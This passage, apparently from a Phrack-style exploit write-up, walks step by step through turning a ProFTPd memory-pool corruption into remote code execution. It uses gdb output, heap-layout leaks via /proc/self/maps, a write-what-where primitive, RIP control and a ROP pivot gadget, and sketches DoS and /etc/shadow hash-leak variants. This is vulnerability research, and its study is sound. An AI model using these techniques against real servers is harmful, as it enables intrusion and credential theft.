&p->cleanups gef➤ set p->sub_next = &p->tag gef➤ set p->sub_pools = 0x4444444444444444 gef➤ p *p $10 = { first = 0x4141414141414141, last = 0x5555557129a0, cleanups = 0x4141414141414141, sub_pools = 0x4444444444444444, sub_next = 0x5555557129d0, sub_prev = 0x4141414141414141, parent = 0x4141414141414141, free_first_avail = 0x4141414141414141, tag = 0x4141414141414141 } gef➤ c I added another breakpoint before it reads p->sub_pools in make_sub_pool(). Now continue execution until it stops in that function. After it breaks at pool.c:432, change the value of p->sub_pools to something that won't cause a crash, for example: gef➤ set p->sub_pools = &p->sub_next gef➤ c As you may have noticed, the program exited without crashing. That was the path where I spent a lot of time. The value we control is stored in the rax register, and new_pool is in rdx. This is not enough to overwrite the stack return address, since there's an offset of 0x28 from the value. We have 2 exploitation paths as of now: 1) arbitrary values on resp_pool members; 2) write new_pool anywhere we want (not a exactly a write-what-where, so we can call it write-newpool-where =). The benefit from 2nd is that new_pool holds a pointer to the resp_pool structure that we control: gef➤ p p $84 = (struct pool_rec *) 0x555555718930 gef➤ p *new_pool $85 = { first = 0x5555556d8cd0, last = 0x5555556d8cd0, cleanups = 0x0, sub_pools = 0x0, sub_next = 0x0, sub_prev = 0x0, parent = 0x555555718930, free_first_avail = 0x5555556d8d38 "", tag = 0x0 } gef➤ p *new_pool->parent $86 = { first = 0x4141414141414141, last = 0x555555718940, cleanups = 0x4141414141414141, sub_pools = 0x4444444444444444, sub_next = 0x5555556b6a40, sub_prev = 0x4141414141414141, parent = 0x4141414141414141, free_first_avail = 0x4141414141414141, tag = 0x4141414141414141 } The pointer to the data we control is shifted 0x30 bytes in new_pool: gef➤ p/x (char *)&new_pool->parent - (char *)new_pool $87 = 0x30 We need to find some member or function access in another structure. This is especially tricky because the execution flow we have is very limited now, since all the operations are done. Let's proceed with the analysis. ----[ 5.3 - Execution and offsets control A new execution was started inside gdb and with ASLR turned off. Turn off ASLR system-wide like so: $ sudo sysctl kernel.randomize_va_space=0 Now that we have a breakpoint on pool.c:569 right before the crash, let's take a look at the backtrace: gef➤ bt #0 alloc_pool (p=0x5555556e86a0, reqsz=0x4, exact=0x0) at pool.c:569 #1 0x0000555555575a8e in palloc (p=0x5555556e86a0, sz=0x4) at pool.c:609 #2 0x0000555555577839 in pstrdup (p=0x5555556e86a0, str=0x555555688768 "426") at str.c:276 #3 0x00005555555a42db in pr_response_set_pool (p=0x5555556e86a0) at response.c:89 #4 0x000055555557025e in pr_cmd_dispatch_phase (cmd=0x5555556ba4e8, phase=0x4, flags=0x0) at main.c:650 #5 0x00005555555fc463 in xfer_exit_ev (event_data=0x0, user_data=0x0) at mod_xfer.c:4092 #6 0x00005555555c0b3d in pr_event_generate (event=0x5555556482f5 "core.exit", event_data=0x0) at event.c:357 #7 0x00005555555c1ee6 in sess_cleanup (flags=0x0) at session.c:82 #8 0x00005555555c200d in pr_session_end (flags=0x0) at session.c:125 #9 0x00005555555c1fea in pr_session_disconnect (m=0x0, reason_code=0x2, details=0x0) at session.c:119 #10 0x00005555555a75cd in poll_ctrl () at data.c:951 #11 0x00005555555a7afd in pr_data_xfer (cl_buf=0x5555556e86a0 'A' <repeats 16 times>, "DDDDDDDD", 'A' <repeats 48 times>, "\340\206nUUU", cl_size=0x20000) at data.c:1095 #12 0x00005555555f592c in xfer_stor (cmd=0x5555556bc568) at mod_xfer.c:2030 #13 0x00005555555a89c7 in pr_module_call (m=0x5555556734c0 <xfer_module>, func=0x5555555f47c7 <xfer_stor>, cmd=0x5555556bc568) at modules.c:59 #14 0x000055555556f98f in _dispatch (cmd=0x5555556bc568, cmd_type=0x2, validate=0x1, match=0x5555556bc600 "STOR") at main.c:360 #15 0x000055555557046b in pr_cmd_dispatch_phase (cmd=0x5555556bc568, phase=0x0, flags=0x3) at main.c:696 #16 0x0000555555570857 in pr_cmd_dispatch (cmd=0x5555556bc568) at main.c:789 #17 0x0000555555570cdf in cmd_loop (server=0x55555568ad28, c=0x5555556ae3c8) at main.c:931 #18 0x00005555555720c4 in fork_server (fd=0x1, l=0x5555556ac188, no_fork=0x0) at main.c:1494 #19 0x0000555555572936 in daemon_loop () at main.c:1731 #20 0x0000555555572dea in standalone_main () at main.c:1916 #21 0x0000555555573cfe in main (argc=0x5, argv=0x7fffffffe3b8, envp=0x7fffffffe3e8) at main.c:2629 By looking at the call stack, we can guess that xfer_stor() was running when the main FTP control session was closed. Then a session cleanup was started and an event "core.exit" was generated. xfer_exit_ev() was called and error messages were set. Until now, we were working with the FTP data connection, but remember from the beginning that we also sent arbitrary commands through the FTP control connection. Where are they in memory? Can we reference them during the execution flow we have now? Good questions - let's see. As we saw, make_sub_pool() gives us an opportunity to write new_pool at an arbitrary address controllable by us. new_pool is a temporary pool that ProFTPd uses to store the command sent through the FTP control port. This means that our last command can possibly be used together with the shellcode to build our attack. Now let's trigger the vulnerability again and break at pool.c:569. Here I'm sending the following values: gef➤ set p->last = &p->cleanups gef➤ set p->sub_next = &p->tag gef➤ p *p $78 = { first = 0x4141414141414141, last = 0x5555556e0450, cleanups = 0x4444444444444444, sub_pools = 0x4242424242424242, sub_next = 0x5555556e0480, sub_prev = 0x4141414141414141, parent = 0x4141414141414141, free_first_avail = 0x4141414141414141, tag = 0x4141414141414141 } gef➤ c Now we should have a break on pool.c:432. Let's step up to the previous caller _dispatch() function. gef➤ up #1 0x000055555556f63e in _dispatch (cmd=0x5555556b99f8, ..., ) at main.c:287 287 cmd->tmp_pool = make_sub_pool(cmd->pool); gef➤ ct cmd holds a pointer to a struct cmd_struc type. Let's examine it: gef➤ pt cmd type = struct cmd_struc { struct pool_rec *pool; server_rec *server; config_rec *config; struct pool_rec *tmp_pool; unsigned int argc; char *arg; void **argv; char *group; int cmd_class; int stash_index; unsigned int stash_hash; pr_table_t *notes; int cmd_id; int is_ftp; const char *protocol; } * This structure holds all the attributes related to the command that is going to be run on the server. Let's check the values of its members: gef➤ p *cmd $82 = { pool = 0x5555556e0440, server = 0x55555568ad28, config = 0x5555556e0440, tmp_pool = 0x0, argc = 0x2, arg = 0x5555556b9a98 "CCCwwwwww", argv = 0x5555556b9ab8, group = 0x0, cmd_class = 0x67f, stash_index = 0x14, stash_hash = 0x3b7b88c, notes = 0x5555556b9c28, cmd_id = 0xffffffff, is_ftp = 0x1, protocol = 0x55555563c35f "FTP" } gef➤ p cmd $82 = (cmd_rec *) 0x5555556b99f8 The array cmd->argv[] holds a pointer to our command. cmd->argv[0] holds the command and cmd->argv[1] the arguments/parameters: gef➤ x/s cmd->argv[0] 0x5555556b9a90: "3333" gef➤ x/s cmd->argv[1] 0x5555556b9aa8: "CCCwwwwww" This is defined in src/cmd.c at pr_cmd_alloc() function. ProFTPd keeps a global variable called "session", which is responsible for storing every attribute related to the current FTP session. The member session.curr_cmd_rec holds a pointer to the current command being executed in that FTP session. This is exactly the same value of cmd pointer in _dispatch(): gef➤ p cmd $82 = (cmd_rec *) 0x5555556b99f8 gef➤ p session.curr_cmd_rec $83 = (struct cmd_struc *) 0x5555556b99f8 In addition, cmd has cmd->notes member that holds a pointer to a variable of type struct table_rec (see src/table.c for more information). Giving a couple of steps back, you may have noticed that when a breakpoint is hit in pool.c:569, we are always pointing p->sub_next to some valid address. This is because otherwise we would have a crash on sstrncpy() like the one below: $rax : 0x34 $rbx : 0x4343434343434344 ("DCCCCCCC"?) $rcx : 0x0000555555688768 → 0x0000555500363234 ("426"?) $rdx : 0x4343434343434343 ("CCCCCCCC"?) $rsp : 0x00007fffffffd930 → 0x0000000000000008 $rbp : 0x00007fffffffd970 → 0x00007fffffffd9a0 → [...] $rsi : 0x0000555555688768 → 0x0000555500363234 ("426"?) $rdi : 0x4343434343434343 ("CCCCCCCC"?) $rip : 0x0000555555634d28 → <sstrncpy+161> mov BYTE PTR [rdx], al $r8 : 0x0000555555688738 → "Transfer aborted. Data connection closed" [...] ─────────────────────────────────────────────────────────────── stack ──── 0x00007fffffffd930│+0x0000: 0x0000000000000008 ← $rsp 0x00007fffffffd938│+0x0008: 0x0000000000000004 0x00007fffffffd940│+0x0010: 0x0000555555688769 → 0x5400005555003632 "26" 0x00007fffffffd948│+0x0018: 0x4343434343434343 0x00007fffffffd950│+0x0020: 0x00007fffffffd970 → [...] 0x00007fffffffd958│+0x0028: 0x0000000055575a8e 0x00007fffffffd960│+0x0030: 0x0000000000000004 0x00007fffffffd968│+0x0038: 0x0000555555678b00 → 0x0000000000000002 ───────────────────────────────────────────────────────── code:x86:64 ──── 0x555555634d1e <sstrncpy+151> mov rdx, rbx 0x555555634d21 <sstrncpy+154> lea rbx, [rdx+0x1] 0x555555634d25 <sstrncpy+158> movzx eax, BYTE PTR [rax] → 0x555555634d28 <sstrncpy+161> mov BYTE PTR [rdx], al 0x555555634d2a <sstrncpy+163> add DWORD PTR [rbp-0x14], 0x1 0x555555634d2e <sstrncpy+167> sub QWORD PTR [rbp-0x38], 0x1 0x555555634d33 <sstrncpy+172> mov rax, QWORD PTR [rbp-0x30] 0x555555634d37 <sstrncpy+176> movzx eax, BYTE PTR [rax] 0x555555634d3a <sstrncpy+179> test al, al ──────────────────────────────────────────────── source:sstrncpy.c+72 ──── 67 } 68 69 d = dst; 70 if (src && *src) { 71 for (; *src && n > 1; n--) { → 72 *d++ = *src++; 73 res++; 74 } 75 } 76 77 *d = '\0'; ────────────────────────────────────────────────────────────── threads ──── [#0] Id 1, stopped 0x555555634d28 in sstrncpy (), reason: SIGSEGV ──────────────────────────────────────────────────────────────── trace ──── [#0] sstrncpy(dst=0x4343434343434343, src=0x555555688769 "26", n=0x4) sstrncpy is the function that copies error messages like "426" and others. The easiest way to exploit this would be partial overwrite using the "426" error code that ProFTPd writes, by returning p->last->h.first_avail (that we control) and manipulate the rest. We could do that by using the stack (which is more predictable than heap), but the problem is that given X pointing to an address in the stack, X should be greater than X+3 in *long size. Also the execution flow is limited and we cannot write to r-x memory pages (AKA code). gef➤ x/64a $rsp 0x7fffffffd900: 0x0 0x5564236f 0x7fffffffd910: 0x4 0x5555556e0440 0x7fffffffd920: 0x0 0x1 0x7fffffffd930: 0x8 0xc4d53d3e8c629700 0x7fffffffd940: 0x415353454d5f434c 0x1ff6 0x7fffffffd950: 0x7fffffffd970 0x555555575a8e <palloc+44> 0x7fffffffd960: 0x4 0x5555556e0440 0x7fffffffd970: 0x7fffffffd9a0 0x555555577839 <pstrdup+91> 0x7fffffffd980: 0x555555688768 0x5555556e0440 0x7fffffffd990: 0x4 0x55678b00 0x7fffffffd9a0: 0x7fffffffd9d0 0x5555555a42db <pr_response_set_pool+83> 0x7fffffffd9b0: 0x55555566c678 0x5555556e0440 0x7fffffffd9c0: 0x555555688768 0x5555555f27bc <stor_abort+1227> 0x7fffffffd9d0: 0x7fffffffda10 0x55555557025e <pr_cmd_dispatch_phase+240> 0x7fffffffd9e0: 0x400000000 0x5555556b99f8 0x7fffffffd9f0: 0x0 0x0 0x7fffffffda00: 0x0 0x5555556b60f0 0x7fffffffda10: 0x7fffffffda40 0x5555555fc463 <xfer_exit_ev+251> 0x7fffffffda20: 0x0 0x0 0x7fffffffda30: 0x7fffffffda80 0x5555556b99f8 0x7fffffffda40: 0x7fffffffda80 0x5555555c0b3d <pr_event_generate+532> 0x7fffffffda50: 0x0 0x5555556482f5 0x7fffffffda60: 0x7fffffffda80 0x5558e808 0x7fffffffda70: 0x555555684d68 0x5555556b0a20 0x7fffffffda80: 0x7fffffffdac0 0x5555555c1ee6 <sess_cleanup+422> 0x7fffffffda90: 0x7fffffffdaf0 0xf7f23b00 0x7fffffffdaa0: 0x7ffff7f60aa0 <__libc_setlocale_lock> 0x5555556b2d20 0x7fffffffdab0: 0x1007 0xd9f8 0x7fffffffdac0: 0x7fffffffdaf0 0x5555555c200d <pr_session_end+32> 0x7fffffffdad0: 0xffffffff 0xf7ffd040 0x7fffffffdae0: 0xffffffffffffffff 0xf7df775a 0x7fffffffdaf0: 0x7fffffffdb30 0x5555555c1fea <pr_session_disconnect+178> I tried a lot of partial overwrite of stack-return values. Some of them could indeed be used, but it would require more work and a different approach - on later chapter I mention this as an alternative attack method. As a result, I gave up on partial overwrite with error code/message. By analysing the source code and the flow during execution, I noticed that inside pr_auth_cache_clear() there are some calls to pr_table_empty(). This function is interesting because of the loop it does, which we could use to iterate over new_pool members until we find a pointer to the data that we control. table.c: 943 for (i = 0; i < tab->nchains; i++) { 944 pr_table_entry_t *e; 945 946 e = tab->chains[i]; 947 while (e != NULL) { 948 if (!handling_signal) { 949 pr_signals_handle(); 950 } 951 952 tab_entry_remove(tab, e); 953 tab_entry_free(tab, e); 954 955 e = tab->chains[i]; 956 } 957 958 tab->chains[i] = NULL; 959 } During execution, the pr_auth_cache_clear() function is called. It contains several struct table_rec that could be used - I've chosen gid_tab. The idea here is to combine resp_pool members with gid_tab members, so we keep controlling the memory blocks that ProFTPd writes the error messages into until we reach the FTP command we sent. Let's try it out again from our pool.c:569 breakpoint, but adding a nice trick: gef➤ dprintf str.c:278, "sstrncpy(res=%p, str=%s, len=%d)\n", res, str,len gef➤ set p->last = &p->cleanups gef➤ set p->sub_pools = ((char *)session.curr_cmd_rec) - 0x28 gef➤ set p->sub_next = gid_tab gef➤ c Continuing. str.c:278 sstrncpy(res=0x5555556b56d8, str=426, len=4 str.c:278 sstrncpy(res=0x5555556b56e0, str=Transfer aborted. Data connection closed, len=41 str.c:278 sstrncpy(res=0x5555556887a0, str=426, len=4 str.c:278 sstrncpy(res=0x5555556887a8, str=Transfer aborted. Data connection closed, len=41 str.c:278 sstrncpy(res=0x5555556b5710, str=426, len=4 str.c:278 sstrncpy(res=0x5555556b5718, str=Transfer aborted. Data connection closed, len=41 str.c:278 sstrncpy(res=0x5555556887d8, str=426, len=4 str.c:278 sstrncpy(res=0x5555556887e0, str=Transfer aborted. Data connection closed, len=41 @mentebinaria showed me this very nice trick in gdb: dprintf, which is dynamic printf. dprintf is a very handy gdb feature that allow us to dynamically print the value of variables without stopping at a specific line, or add ugly printf() in the source code. We're watching every time sstrncpy() copies the strings and commands so we can see the memory addresses. A first crash occurs in table.c:946: gef➤ p *tab $92 = { pool = 0x555500363234, flags = 0x726566736e617254, seed = 0x6f626120, nmaxents = 0x64657472, chains = 0x632061746144202e, nchains = 0x656e6e6f, nents = 0x6f697463, free_ents = 0x6465736f6c63206e, free_keys = 0x0, tab_iter_ent = 0x363234, val_iter_ent = 0x726566736e617254, cache_ent = 0x646574726f626120, keycmp = 0x632061746144202e, keyhash = 0x6f697463656e6e6f, entinsert = 0x6465736f6c63206e, entremove = 0x555555579f00 <entry_insert+79> } gef➤ x/s tab 0x5555556b56d8: "426" gef➤ 0x5555556b56dc: "UU" gef➤ 0x5555556b56df: "" gef➤ 0x5555556b56e0: "Transfer aborted. Data connection closed" gef➤ In the output, you can see that the structure was corrupted, but we haven't yet reached the part of memory where our FTP command resides. So, we need to adjust some structure members to prevent the process from crashing. Before we go any further, some explanation is required. The reason I chose to combine the payload sent through the FTP command channel with the payload coming from the FTP data connection is to achieve a write-what-where primitive. The execution flow we gain from the data connection alone, and the memory it allows us to control, aren't sufficient to hijack the program's control flow - at least, I couldn't find a way to do so reliably. By combining these two channels and maintaining control over where ProFTPd writes its error messages (i.e., which memory blocks are used), we create a critical setup for successful exploitation. Additionally, ProFTPd installs a sigaction handler. When a SIGSEGV occurs, execution flow is redirected to a path defined by this handler. As we observed earlier, if we continue controlling the memory pools, we don't get a clear opportunity to take over execution. So, the idea is to take advantage of the new code path triggered by the signal handler, without allowing ProFTPd to lose or discard the memory state we've manipulated up to that point. This way, our payload and its data remain intact during exploitation. In summary, we use two data channels to leverage a write-what-where primitive to gain control over RIP. gef➤ set p->last = &p->cleanups gef➤ set p->sub_pools = ((char *)&session.curr_cmd_rec->notes->chains) - 0x28 gef➤ set p->sub_next = ((char *)&gid_tab->chains) + 0x18 - 0xe0 gef➤ c Although I chose destroy_pool as the path to achieve remote code execution, there are other structures that could also be used to gain control over RIP through function pointers. In the very first proof-of-concept, I was using a table_rec structure, which session.curr_cmd_rec->notes points to. The structure is defined as follows: struct table_rec { pool *pool; unsigned long flags; unsigned int seed; unsigned int nmaxents; pr_table_entry_t **chains; unsigned int nchains; unsigned int nents; pr_table_entry_t *free_ents; pr_table_key_t *free_keys; pr_table_entry_t *tab_iter_ent; pr_table_entry_t *val_iter_ent; pr_table_entry_t *cache_ent; int (*keycmp)(const void *, size_t, const void *, size_t); unsigned int (*keyhash)(const void *, size_t); void (*entinsert)(pr_table_entry_t **, pr_table_entry_t *); void (*entremove)(pr_table_entry_t **, pr_table_entry_t *); }; As you can see, there are four function pointers we could use, and most of them are called during the execution flow. Cool :) When I overwrote this structure to reach the function pointers, I had difficulty finding appropriate ROP gadgets. Although I could control RIP, overwriting other structure members could introduce instability, since some of them are accessed during session cleanup. In the code flow we have, those function pointers are not called with other parts of our payload, making this strategy not sufficient for code flow hijacking. We have to force ProFTPd to crash by triggering a SIGSEGV signal. This is necessary because we're very close to the exit() syscall, and resp_pool would soon be cleaned up - meaning our shellcode would be lost. By forcing a SIGSEGV, we prevent that cleanup, and we move to another code path. At this point, gid_tab->pool has already been overwritten with our data. These are the size and strings written, as well our FTP command sent: gef➤ p p->last->h.first_avail $18 = (void *) 0x56259ecee150 reqsz = 0x4 "426" $20 = (void *) 0x56259ecee158 reqsz = 0x29 "Transfer aborted. Data connection closed" $21 = (void *) 0x56259ecee188 reqsz = 0x4 "426" $22 = (void *) 0x56259ecee190 reqsz = 0x29 "Transfer aborted. Data connection closed" $23 = (void *) 0x56259ecee1c0 reqsz = 0x5 argv[0] "3333" (last FTP command we sent) $24 = (void *) 0x56259ecee1c8 reqsz = 0xf argv[i] "CCC8\350ў%V" (argument of the last FTP command) $25 = (void *) 0x56259ecee1d8 reqsz = 0xf "3333 CCC8\350ў%V" (the complete last FTP command we sent) $26 = (void *) 0x56259ecee1e8 reqsz = 0x10 "displayable-str" The idea here is to use the FTP commands as part of our payload, and use the string "displayable-str" to force a SIGSEGV before our data gets overwritten. This is tricky and requires precise memory calculations. In the example above, I chose to use the following command as a placeholder to find it in memory: gdb: break pool.c:856 if c == 0x771111111177 r = send(sock_ctrl, (void *)"3333 CCC\x77\x11\x11\x11\x11\x77\0", 15, 0); As you may have guessed, I wrote a simple C program to trigger the bug and send the payload I want. The send() call you see above sends a debug token, which will later be used as the destination memory address for our write-what-where primitive. 0x771111111177 is the debug token. After extensive analysis and trial and error, I discovered that resp_pool must contain the following values: gef➤ set p->last = &p->cleanups gef➤ set p->sub_pools = ((char *)&session.curr_cmd_rec->notes->chains) - 0x28 gef➤ set p->sub_next = ((char *)&gid_tab->chains) - 0xe0 The value of gid_tab (which is pointed by tab): gef➤ p *tab $75 = { pool = 0x56259ecf51e0, flags = 0x0, seed = 0x99063431, nmaxents = 0x2000, chains = 0x56259ecf9cd0, nchains = 0x8, nents = 0x2, free_ents = 0x0, free_keys = 0x0, tab_iter_ent = 0x0, val_iter_ent = 0x0, cache_ent = 0x0, keycmp = 0x56259e6368e2 <key_cmp>, keyhash = 0x56259e636990 <key_hash>, entinsert = 0x56259e636a1d <entry_insert>, entremove = 0x56259e636a80 <entry_remove> } gef➤ p *resp_pool $76 = { first = 0x4444444444444444, last = 0x56259ed1e800, cleanups = 0x4141414141414141, sub_pools = 0x56259ecf9cd0, sub_next = 0x56259ecee1f8, sub_prev = 0x4141414141414141, parent = 0x4141414141414141, free_first_avail = 0x4141414141414141, tag = 0x56259ed1e000 "" } At cmd.c:374 ProFTPd creates a new table to process our command. In order to do that it allocs a new space in memory to store "displayable-str" and the table it self, which we have to take into account as well: 373 if (pr_table_add(cmd->notes, pstrdup(cmd->pool, "displayable-str"), → 374 pstrdup(cmd->pool, res), 0) < 0) { 375 if (errno != EEXIST) { 376 pr_trace_msg(trace_channel, 4, 377 "error setting 'displayable-str' command note: %s", strerror(errno)); 378 } 379 } A crash will occur on pr_table_add() function. In fact, there are some functions that are called inside it. dprintf table.c:427, "table1: pr_table_kadd: idx==%d\n", (int)idx dprintf table.c:588, "table2: pr_table_kget: idx==%d\n", (int)idx The indexes are responsible for creating, intentionally, randomizations, which complicates our exploitation even more. See the comments at table.c: struct table_rec { pool *pool; unsigned long flags; /* These bytes are randomly generated at table creation time, and * are used to seed the hashing function, so as to defend/mitigate * against attempts to feed carefully crafted keys which force the * table into its worst-case performance scenario. * * For more information on attacks of this nature, see: * * http://www.cs.rice.edu/~scrosby/hash/CrosbyWallach_UsenixSec2003/ */ unsigned int seed; /* Maximum number of entries that can be stored in this table. The * default maximum (PR_TABLE_DEFAULT_MAX_ENTS) is set fairly high. * This limit is present in order to defend/mitigate against certain abuse * scenarios. * * XXX Note that an additional protective measure can/might be placed on * the maximum length of a given chain, to detect other types of attacks * that force the table into the worse-case performance scenario (i.e. * linear scanning of a long chain). If such is added, then a Table API * function should be added for returning the length of the longest chain * in the table. Such a function could be used by modules to determine * if their tables are being abused (or in need of readjustment). */ unsigned int nmaxents; pr_table_entry_t **chains; unsigned int nchains; unsigned int nents; /* List of free structures. */ pr_table_entry_t *free_ents; pr_table_key_t *free_keys; /* For iterating over all the keys in the entire table. */ pr_table_entry_t *tab_iter_ent; /* For iterating through all of the possible multiple values for a single * key. Only used if the PR_TABLE_FL_MULTI_VALUE flag is set. */ pr_table_entry_t *val_iter_ent; /* Cache of last looked-up entry. Usage of this field can be enabled * by using the PR_TABLE_FL_USE_CACHE flag. */ pr_table_entry_t *cache_ent; /* Table callbacks. */ int (*keycmp)(const void *, size_t, const void *, size_t); unsigned int (*keyhash)(const void *, size_t); void (*entinsert)(pr_table_entry_t **, pr_table_entry_t *); void (*entremove)(pr_table_entry_t **, pr_table_entry_t *); As you noticed, we must have memory layout knowledge and the offsets. ----[ 5.4 - Leaking memory layout At the moment our breakpoint is triggered, we can analyse the memory layout: gef➤ vmmap heap [ Legend: Code | Heap | Stack ] Start End Offset Perm Path 0x000056259ecbe000 0x000056259ed00000 0x0000000000000000 rw- [heap] 0x000056259ed00000 0x000056259ed3f000 0x0000000000000000 rw- [heap] These are our base heap addresses. The second heap was allocated to deal with our data transfer (STOR command). gef➤ p p $20 = (struct pool_rec *) 0x56259ed1e770 gef➤ p gid_tab $21 = (pr_table_t *) 0x56259ecee198 gef➤ p session.curr_cmd_rec->notes $22 = (pr_table_t *) 0x56259ecf51a8 gef➤ gef➤ p/x 0x56259ed1e770 - 0x000056259ed00000 $23 = 0x1e770 gef➤ p/x 0x56259ecee198 - 0x000056259ecbe000 $24 = 0x30198 gef➤ p/x 0x56259ecf51a8 - 0x000056259ecbe000 $25 = 0x371a8 gef➤ We now have the offsets we should use. I tried to find objects in the same memory page, but had no luck. gef➤ set $rp_mempage = (unsigned long int)resp_pool & 0xfffffffffffff000 gef➤ x/256a $rp_mempage 0x555555712000: 0x0 0x0 0x555555712010: 0x0 0x0 0x555555712020: 0x0 0x0 0x555555712030: 0x0 0x0 0x555555712040: 0x0 0x0 @lockedbyte gave me the idea to get the memory layout from the process /proc/self/maps file. Now we can use SITE CPFR and SITE CPTO commands to download this file. Basically we copy /proc/self/maps to a writable directory and RETR it, then we reflect memory heap and libc base addresses into our offsets and payload. The downside is that ProFTPd should have been compiled with mod_copy. Also, chroot() protection should not be enforced by the server, which makes /proc/ not accessible. In the final exploit, we read from this file to calculate the offsets, exactly how we did using vmmap command in gdb. ----[ 5.5 - Final RIP control methodology Finally, combining everything we learned until now, this is the final memory layout we should see: gef➤ vmmap heap Start End Perm Path 0x0000555555677000 0x00005555556c5000 0x0000000000000000 rw- [heap] 0x00005555556c5000 0x0000555555729000 0x0000000000000000 rw- [heap] gef➤ set $start = 0x0000555555677000 gef➤ set $end = 0x00005555556c5000 gef➤ p/x (char *)resp_pool - $end $32 = 0x236a0 gef➤ p/x (char *)gid_tab - $start $33 = 0x3e6d8 gef➤ p/x (char *)session.curr_cmd_rec->notes - $start $34 = 0x459c8 We will use the offsets show above in the exploit, because ASLR plays a huge impact here. By using these memory objects, we may gain some control over RIP. src/pool.c: 854 static void run_cleanups(cleanup_t *c) { 855 while (c) { 856 if (c->plain_cleanup_cb) { 857 (*c->plain_cleanup_cb)(c->data); 858 } 859 860 c = c->next; 861 } ────────────────────────────────────────────────────────────────────────── When run_cleanups() gets executed, we should see our token: gef➤ p *c $6 = { data = 0x560f1919d6f8, plain_cleanup_cb = 0x7711111111111177 child_cleanup_cb = 0x4141414141414141, # will be our stack next = 0x9090909090909090 } now in gdb: `break pool.c:856 if c == 0x771111111177` The idea is to substitute this token with our first ROP gadget. To build the our ROP chain, we will use the `ropper` tool to find gadgets. Our first ROP gadget should point to <authnone_marshal+16> from libc, which contains: push rax pop rsp lea rsi,[rax+0x48] mov rax,QWORD PTR [rdi+0x8] jmp QWORD PTR [rax+0x18] Check the full exploit for all the code. --[ 6 - Other exploitation strategies ----[ 6.1 - Kill the Gibson: causing a DoS There's a chance to cause a DoS (infinite loop) when we point the resp_pool->last to $rsp + 0x60 and idx==6. I tested this and it's simple to achieve. ----[ 6.2 - Using the stack In addition, another exploitation strategy could arise when idx==6 in pr_table_kget() function. This creates an opportunity to control the value of rax: gef➤ p p->last=0x7fffffffd990 gef➤ dprintf table.c:588, "table2: pr_table_kget: idx==%d\n", (int)idx gef➤ c 6 Will ignore next 5 crossings of breakpoint 1. Continuing. table2: pr_table_kget: idx==3 table2: pr_table_kget: idx==3 table2: pr_table_kget: idx==6 Thread 20.1 "proftpd" received signal SIGSEGV, Segmentation fault. [ Legend: Modified register | Code | Heap | Stack | String ] ──────────────────────────────────────────────────────────── registers ──── $rax : 0x4444444444444444 ("DDDDDDDD"?) $rbx : 0x000055555567aac0 → 0x0000000000000002 $rcx : 0x8 $rdx : 0x00005555556d1530 → 0x00005555556d1510 → 0x00005555556d1730 $rsp : 0x00007fffffffd890 → 0x0000000000000000 $rbp : 0x00007fffffffd8d0 → 0x00007fffffffd910 → 0x00007fffffffd960 $rsi : 0x10 $rdi : 0x0 $rip : 0x000055555557ac39 → <pr_table_kget+459> $r8 : 0x56a $r9 : 0x0000555555674dc0 → 0x0000000000000001 $r10 : 0x00007ffff7eff040 → 0x0000000000000000 $r11 : 0x9 $r12 : 0x00007fffffffe3f8 → 0x00007fffffffe68d $r13 : 0x00005555555734ea → <main+0> endbr64 $r14 : 0x0 $r15 : 0x00007ffff7ffbc40 → 0x00050f0f00000000 $cs: 0x0033 $ss: 0x002b $ds: 0x0000 $es: 0x0000 $fs: 0x0000 $gs: 0x0000 ──────────────────────────────────────────────────────────────── stack ──── 0x00007fffffffd890│+0x0000: 0x0000000000000000 ← $rsp 0x00007fffffffd898│+0x0008: 0x0000000000000010 0x00007fffffffd8a0│+0x0010: 0x00005555556455cc → "displayable-str" 0x00007fffffffd8a8│+0x0018: 0x00005555556d5f28 → 0x00005555556d5ee0 0x00007fffffffd8b0│+0x0020: 0x0000002800000000 0x00007fffffffd8b8│+0x0028: 0x00000006147a3d16 0x00007fffffffd8c0│+0x0030: 0x0000555555712990 → 0x4444444444444444 0x00007fffffffd8c8│+0x0038: 0x4444444444444444 ────────────────────────────────────────────────────────── code:x86:64 ──── 0x55555557ac2c <pr_table_kget+446> mov QWORD PTR [rbp-0x8], rax 0x55555557ac30 <pr_table_kget+450> jmp 0x55555557acf0 <pr_table_kget+642> 0x55555557ac35 <pr_table_kget+455> mov rax, QWORD PTR [rbp-0x8] → 0x55555557ac39 <pr_table_kget+459> mov rax, QWORD PTR [rax+0x18] 0x55555557ac3d <pr_table_kget+463> test rax, rax 0x55555557ac40 <pr_table_kget+466> je 0x55555557ace4 <pr_table_kget+630> 0x55555557ac46 <pr_table_kget+472> mov rax, QWORD PTR [rbp-0x8] 0x55555557ac4a <pr_table_kget+476> mov rax, QWORD PTR [rax+0x18] 0x55555557ac4e <pr_table_kget+480> mov eax, DWORD PTR [rax+0x18] ─────────────────────────────────────────────────── source:table.c+600 ──── 595 errno = ENOENT; 596 return NULL; 597 } 598 599 for (ent = head; ent; ent = ent->next) { // ent=0x00007fffffffd8c8 → 0x4444444444444444 → 600 if (ent->key == NULL || 601 ent->key->hash != h) { 602 continue; 603 } 604 ─────────────────────────────────────────────────────────────────────────── gef➤ Someone might try this approach instead. The good thing is, you'll need to predict less memory addresses. ----[ 6.3 - Leaking /etc/shadow Despite the fact that exploiting this bug turned out to be challenging, it also revealed some other interesting exploitation strategies, like the possibility of reading /etc/shadow content (at least partially). ProFTPd make use of libc getspnam(), this function first malloc() space on the heap and then calls getspnam_r (in fact the call is to __getspnam_r()), so the buffer is not controlled by ProFTPd, and libc does not clean/free either. Initially, when ProFTPd main daemon receives a connection, it fork()s and the execution continues within the child process. After user logs in and begins a FTP session, the process is chown()ed to equivalent user, so every action (e.g. upload file) taken is on behalf of the logged user. However, it does not zero out the libc memory areas before forking. As a result, any exploitable flaw would allow memory inspection. An example of this is the possibility to leak root or other user's password cryptogram from the /etc/shadow file, which was read, and the content is still there in memory. libc getspnam() or __getspnam_r() does not free malloc()ed memory after retrieving the user's password - which might by ok for performance reasons. Turns out that we can create shellcode to retrieve other users shadow password from our forked process (instead of execve() a shell). In main.c:2589 the code mentions closing the file descriptors, but doesn't pay attention to bzero()ing the memory where the file's content was stored. So, after the fork(), we're still able to access that content. ----[ 6.4 - Other leaks Besides leaking /etc/shadow from a libc buffer, another interesting library to sneak on is libnss. If mod_sftp was loaded, you could poke around libcrypt and retrieve the private key. I didn't go through mod_sftp so I don't know if buffers are clean/freed. Also, ProFTPd likes power and doesn't give it up completely. Based on the timeout set during compilation, it runs a routine where it rescues root privileges. In this way, ProFTPd switches from a process running as "nobody" to "root". This seems to be required due to users login purposes, but it might bring some opportunity as well to find some secrets. --[ 7 - Ideas for future work I think the most reliable approach here would be to find a 